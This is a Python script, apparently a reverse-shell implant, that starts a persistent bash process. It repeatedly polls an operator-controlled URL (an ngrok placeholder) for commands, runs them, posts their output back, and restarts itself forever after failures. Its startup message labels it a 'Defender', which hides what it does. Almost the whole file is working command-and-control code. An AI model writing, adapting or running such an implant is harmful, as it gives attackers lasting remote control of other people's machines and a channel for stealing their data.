attacked.py

#!/usr/bin/env python3
import subprocess
import time
import urllib.request
import urllib.parse

# ------------------------------------------------------------------
# CONFIGURATION
# ------------------------------------------------------------------
URL = "https://<your_ngrok_url>"  # CHANGE THIS
DELIMITER = "---END_OF_COMMAND_XYZ123---"

# ------------------------------------------------------------------
# NETWORK HELPERS
# ------------------------------------------------------------------
def http_send(endpoint, data=None):
    try:
        if data:
            post_data = urllib.parse.urlencode({'data': data}).encode()
            req = urllib.request.Request(URL + endpoint, data=post_data, method='POST')
        else:
            req = urllib.request.Request(URL + endpoint, method='GET')
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.read().decode()
    except Exception:
        return None

# ------------------------------------------------------------------
# SHELL WORKER (Unchanged, exactly as it worked before)
# ------------------------------------------------------------------
def spawn_persistent_shell():
    proc = subprocess.Popen(
        ['/bin/bash'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        bufsize=1
    )

    while True:
        try:
            # Poll for command
            command = http_send('/cmd')
            if command is None:
                time.sleep(2)
                continue

            # Clean command
            command = command.strip()
            while command.startswith(';'):
                command = command[1:].lstrip()
            if not command:
                time.sleep(2)
                continue

            # Inject into bash
            full_cmd = f"{command} 2>&1; echo '{DELIMITER}'\n"
            proc.stdin.write(full_cmd)
            proc.stdin.flush()

            # Read output until delimiter
            output_lines = []
            while True:
                line = proc.stdout.readline()
                if not line:  # Shell crashed
                    http_send('/send', "[!] Shell crashed. Restarting...")
                    return  # Outer loop restarts
                if DELIMITER in line:
                    line = line.replace(DELIMITER, '')
                    if line:
                        output_lines.append(line)
                    break
                output_lines.append(line)

            output = ''.join(output_lines)
            http_send('/send', output)

        except BrokenPipeError:
            http_send('/send', "[!] BrokenPipe. Restarting...")
            return
        except Exception as e:
            http_send('/send', f"AGENT CRASH: {str(e)}")
            time.sleep(5)

# ------------------------------------------------------------------
# MAIN (Infinite restart loop for the shell worker)
# ------------------------------------------------------------------
if __name__ == "__main__":
    print("[+] Defender (Pure Worker) started.")
    while True:
        try:
            spawn_persistent_shell()
        except Exception as e:
            # If something catastrophic happens, just restart the worker
            try:
                http_send('/send', f"FATAL WORKER CRASH: {str(e)}")
            except:
                pass
            time.sleep(5)